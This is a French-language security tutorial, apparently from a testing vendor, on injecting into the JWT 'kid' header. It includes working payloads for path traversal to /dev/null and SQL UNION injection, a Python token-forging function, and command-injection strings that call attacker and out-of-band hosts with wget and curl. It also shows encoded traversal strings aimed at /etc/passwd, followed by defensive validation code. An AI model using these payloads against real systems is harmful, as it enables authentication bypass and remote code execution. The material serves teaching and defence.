Injecte du SQL ou une traversée de chemin dans le paramètre d'en-tête kid (key ID) pour contrôler quelle clé le serveur utilise pour la vérification JWT.
TL;DR
kid pour rechercher la clé de signature — injecter dans cette recherche/dev/null), injection SQL, injection NoSQL, injection de commande OS, injection LDAPkid="../../dev/null" → signer avec un secret HMAC vide → contournement d'authentificationLe paramètre kid (Key ID) dans un en-tête JWT est une chaîne optionnelle qui indique au serveur quelle clé utiliser pour vérifier la signature du token. RFC 7515 §4.1.4 le définit comme "un indice indiquant quelle clé a été utilisée pour sécuriser le JWS." Il est destiné à permettre aux serveurs de maintenir plusieurs clés actives (pour la rotation).
La vulnérabilité survient quand le serveur utilise la valeur kid directement dans des opérations IO sans assainissement. Trois patterns courants sont exploitables :
cle = open(f"/keys/{kid}").read() — traversée de chemin pour lire des fichiers arbitrairescle = db.query(f"SELECT k FROM keys WHERE id='{kid}'") — injection SQLcle = subprocess.run(f"charger-cle {kid}", ...) — injection de commande OSOWASP A03:2021 (Injection) est la classification principale car la cause racine est des données non fiables dans un interpréteur de commandes.
La charge utile de traversée de chemin la plus simple et fiable :
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../dev/null"
}/dev/null retourne une chaîne d'octets vide sur Unix. L'attaquant signe avec un secret HMAC vide :
import jwt
def forger_token_devnull(jwt_original: str) -> str:
"""Forger un token en utilisant la traversée de chemin /dev/null sur kid."""
charge = jwt.decode(
jwt_original, options={"verify_signature": False}, algorithms=["HS256"]
)
charge["role"] = "admin"
charge["exp"] = 9999999999
token_forge = jwt.encode(
charge,
key="", # secret HMAC vide
algorithm="HS256",
headers={"kid": "../../../../../../dev/null"}
)
return token_forgeQuand kid est utilisé dans une requête SQL sans paramètre :
{
"alg": "HS256",
"kid": "x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -"
}Si kid est passé à un shell :
{
"alg": "HS256",
"kid": "/dev/null|wget http://attaquant.com"
}{
"alg": "HS256",
"kid": "$(curl http://OOB.interactsh.com/$(whoami))"
}Repli basé sur le temps (sans OOB disponible) :
{
"alg": "HS256",
"kid": "x;sleep 25 #"
}| Variante | Charge utile exemple | Impact | CWE |
|---|---|---|---|
| Traversée de chemin | ../../dev/null | Contournement auth (clé vide) | CWE-22 |
| Traversée encodée URL | ..%2F..%2Fdev%2Fnull | Contournement auth (bypass WAF) | CWE-22 |
| Injection SQL | x' UNION SELECT 'AAAA' -- - | Contournement auth + lecture DB | CWE-89 |
| Injection NoSQL | {"$ne": null} | Contournement auth | CWE-943 |
| Injection commande OS | $(whoami) / ;sleep 25 | RCE + contournement auth | CWE-78 |
| Injection LDAP | *)(uid=* | Contournement auth + énumération LDAP | CWE-90 |
HackerOne #1365894 — Injection SQL kid Fintech (3 000 €)
Le code de vérification JWT d'une plateforme fintech construisait une requête MySQL sans paramètre en utilisant le champ kid. Charge utile : x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -. Le serveur retournait le résultat UNION comme clé de signature. L'attaquant a forgé un token admin, a accédé au panneau d'administration et a démontré l'escalade complète de privilèges. Corrigé en passant à une requête paramétrée (SELECT key FROM jwt_keys WHERE id = ?).
CVE-2022-21449 — Chaîne d'exploitation kid + Psychic Signatures (Java ECDSA)
Des chercheurs en sécurité ont démontré une attaque combinée : d'abord utiliser la traversée de chemin kid vers /dev/null pour forcer une clé de signature vide, puis exploiter le contournement Psychic Signatures (CVE-2022-21449) sur Java 15-18 pour ignorer la vérification ECDSA. L'attaque combinée fonctionnait contre toute bibliothèque JWT Java sur les JVM affectées qui implémentait également la résolution de chemin kid.
Bug Bounty — kid CMDi via Script Shell (Critique, 10 000 €)
Un chercheur en sécurité a trouvé une API fintech qui invoquait un script shell pour charger des clés de signature : exec("sh /opt/keys/charger.sh " + kid). La détection OOB via Interactsh a confirmé l'injection : la charge kid $(curl http://abc.oast.fun/$(whoami)) a déclenché un rappel DNS avec www-data comme sous-domaine. Le chercheur a démontré le chemin du contournement d'authentification jusqu'à RCE complet sur le serveur.
Article Auth0 — "Vulnérabilités dans les bibliothèques JSON Web Token"
Le post de recherche canonique d'Auth0 de 2015 documentait la classe d'attaque de traversée de chemin kid aux côtés d'alg:none, notant que le champ kid était couramment utilisé pour spécifier des chemins de fichiers — parfois sur des systèmes de production qui chargeaient des clés depuis le disque.
alg est HS256.kid à ../../../../../../dev/null. Signer avec un secret HMAC vide. Envoyer la requête.kid à x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -. Signer le token avec HMAC-SHA256 en utilisant AAAAAAAAAAAAAAAAAAAAAAAA (24 chars 'A') comme secret.kid à $(curl https://VOTRE.interactsh.com/$(whoami)). Surveiller les rappels.kid à x;sleep 25 #. Mesurer le temps de réponse.jwt_tool tests d'injection kid :
# Variantes traversée de chemin
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""BreachVex teste les six variantes d'injection kid avec un arsenal de charges utiles curaté de 15+ entrées par type, avec des rappels hors-bande pour la détection d'injection de commande et la validation différentielle du corps de réponse pour la traversée de chemin et la confirmation SQLi.
import re
# MAUVAIS — utilise kid directement dans un chemin de fichier
def obtenir_cle_mauvais(kid: str) -> bytes:
return open(f"/cles/{kid}").read() # traversée de chemin !
# MAUVAIS — utilise kid dans la concaténation de chaîne SQL
def obtenir_cle_mauvais2(kid: str) -> str:
return db.execute(f"SELECT k FROM cles WHERE id='{kid}'").fetchone()[0]
# BON — regex d'autorisation stricte avant tout IO
KID_PATTERN = re.compile(r'^[a-zA-Z0-9_-]{1,64}$')
def obtenir_cle_bon(kid: str) -> bytes:
if not KID_PATTERN.fullmatch(kid):
raise ValueError(f"Format kid invalide : {kid!r}")
ligne = db.execute("SELECT k FROM cles WHERE id = $1", (kid,)).fetchone()
if ligne is None:
raise ValueError(f"kid inconnu : {kid!r}")
return ligne[0]# La plupart des applications n'ont besoin que de 2-3 clés actives
MAP_CLES: dict[str, bytes] = {
"v2": os.environ["JWT_SIGNING_KEY_V2"].encode(),
"v1": os.environ["JWT_SIGNING_KEY_V1"].encode(), # dépréciée, fenêtre de rotation
}
def obtenir_cle_depuis_map(kid: str) -> bytes:
cle = MAP_CLES.get(kid)
if cle is None:
raise ValueError(f"kid inconnu : {kid!r}")
return cleL'injection de commande OS via kid (CWE-78) n'est pas un contournement d'authentification — c'est de l'exécution de code à distance. Si le code de vérification JWT passe kid à un shell ou sous-processus, un attaquant non authentifié obtient un accès complet au serveur. Auditer chaque intégration de bibliothèque JWT pour les patterns d'invocation de shell. Le champ kid ne doit jamais atteindre un shell, même indirectement.
Le paramètre kid identifie la clé à utiliser pour la vérification. Si l'application utilise kid dans une requête base de données, un chemin de fichier ou une commande OS sans assainissement, un attaquant peut injecter du SQL (CWE-89), une traversée de chemin (CWE-22), des commandes OS (CWE-78), des opérateurs NoSQL (CWE-943) ou des expressions LDAP (CWE-90) pour contrôler la clé de vérification et forger des tokens.
Définir kid à '../../../../../../dev/null' fait tenter au serveur d'ouvrir /dev/null comme fichier de clé. /dev/null retourne une chaîne d'octets vide sur les systèmes Unix. L'attaquant signe le JWT forgé avec HMAC-SHA256 en utilisant une chaîne vide comme secret. Si le serveur lit le contenu du fichier comme clé HMAC, il vérifie contre des octets vides — et le token de l'attaquant passe.
Si le serveur exécute SELECT k FROM keys WHERE id = '{kid}', injecter kid="x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -" fait retourner 'AAAAAAAAAAAAAAAAAAAAAAAA' par la requête. L'attaquant signe son token forgé avec HMAC en utilisant cette valeur comme clé — et le serveur l'accepte car sa requête DB retourne maintenant la clé contrôlée par l'attaquant.
Si la valeur kid est incorporée dans une commande shell, un attaquant peut injecter des commandes OS. Charges utiles comme '/dev/null|wget http://attaquant.com' ou '$(curl http://attaquant.com/$(whoami))' exécutent des commandes système sur le serveur. Cela donne RCE en plus du contournement d'authentification — la variante de sévérité la plus élevée.
Oui. De nombreux filtres d'entrée vérifient la chaîne kid brute mais pas la version décodée. Traversée de chemin avec encodage URL : '..%2F..%2F..%2Fetc%2Fpasswd'. Double encodage : '..%252F..%252F..%252Fetc%252Fpasswd' (décodé deux fois vers '../../../etc/passwd'). Ces techniques contournent les règles WAF et les filtres de chaîne au niveau applicatif qui vérifient le littéral '../'.